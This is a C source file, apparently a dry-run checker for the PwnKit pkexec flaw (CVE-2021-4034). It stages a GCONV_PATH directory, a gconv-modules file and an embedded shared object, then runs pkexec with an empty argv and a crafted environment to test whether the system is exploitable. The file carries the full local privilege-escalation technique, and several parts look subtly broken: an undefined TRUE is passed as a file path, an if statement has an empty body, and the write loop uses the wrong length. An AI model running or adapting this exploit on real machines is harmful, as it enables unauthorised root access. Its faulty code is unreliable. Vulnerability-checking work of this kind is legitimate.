CVE-2021-4034/dry-run/dry-run-cve-2021-4034.c

172 lines
3.0 KiB
C
Raw Normal View History

#include <stdio.h>
#include <fcntl.h>
#include <dirent.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "pwnkit-dry-run.so_data.h"
#define TESTDIR "/tmp/pwnkit-dry-run"
#define EXPLOITABLE_OR_ERROR 1
static int removedir(const char *path)
{
struct dirent *entry;
DIR *directory = opendir(path);
char filename[PATH_MAX + 1];
if (directory == NULL)
return -1;
while ((entry = readdir(directory)) != NULL) {
if (!strcmp(".", entry->d_name))
continue;
if (!strcmp("..", entry->d_name))
continue;
snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name);
if (entry->d_type == DT_DIR)
removedir(filename);
else
remove(filename);
}
closedir(directory);
return remove(path);
}
static int copyfile(const char *input, const char *output)
{
int ret = 0;
int ofd = 0;
FILE *in, *out;
unsigned char buffer[4096];
in = fopen(input, "rb");
if (in == NULL)
return -1;
ofd = open(output, O_WRONLY | O_CREAT, 0700);
if (ofd < 0)
return -1;
out = fdopen(ofd, "wb");
if (out == NULL)
return -1;
while (!feof(in) && !ferror(in) && !ferror(out)) {
int r = fread(buffer, 1, sizeof(buffer), in);
for (size_t i = 0 ; i < r && !ferror(in) && !ferror(out);) {
int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out);
i += w;
}
}
ret = ferror(in) || ferror(out);
fclose(in);
fclose(out);
return ret;
}
static int createandwritefile(const char *dest, const char *content)
{
FILE *f = fopen(dest, "w");
if (f == NULL)
return -1;
fprintf(f, "%s\n", content);
fclose(f);
return 0;
}
static int createsharedobjectpwnkit(const char *outputname)
{
int ret = 0;
int wrote = 0;
int fd;
FILE *f;
fd = open(outputname, O_WRONLY | O_CREAT, 0700);
if (fd < 0)
return -1;
f = fdopen(fd, "wb");
if (f == NULL)
return -1;
while (wrote < pwnkit_dry_run_so_len) {
int w = fwrite(pwnkit_dry_run_so + wrote, 1,
pwnkit_dry_run_so_len - wrote, f);
wrote += w;
}
ret = ferror(f);
fclose(f);
return ret;
}
int main(int argc, char **argv)
{
pid_t p;
int wstatus = 0;
int exitcode = EXPLOITABLE_OR_ERROR;
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
mkdir(TESTDIR, 0750);
if (chdir(TESTDIR) != 0)
return EXPLOITABLE_OR_ERROR;
mkdir("GCONV_PATH=.", 0750);
if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0)
return EXPLOITABLE_OR_ERROR;
if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0)
return EXPLOITABLE_OR_ERROR;
if (createsharedobjectpwnkit("pwnkit.so"));
p = fork();
switch (p) {
case -1:
perror("fork");
break;
case 0:
return execve("/usr/bin/pkexec", args, environ);
default:
wait(&wstatus);
while (!WIFEXITED(wstatus))
wait(&wstatus);
exitcode = WEXITSTATUS(wstatus);
break;
}
removedir(TESTDIR);
if (exitcode != 0)
return 1 - EXPLOITABLE_OR_ERROR;
return EXPLOITABLE_OR_ERROR;
}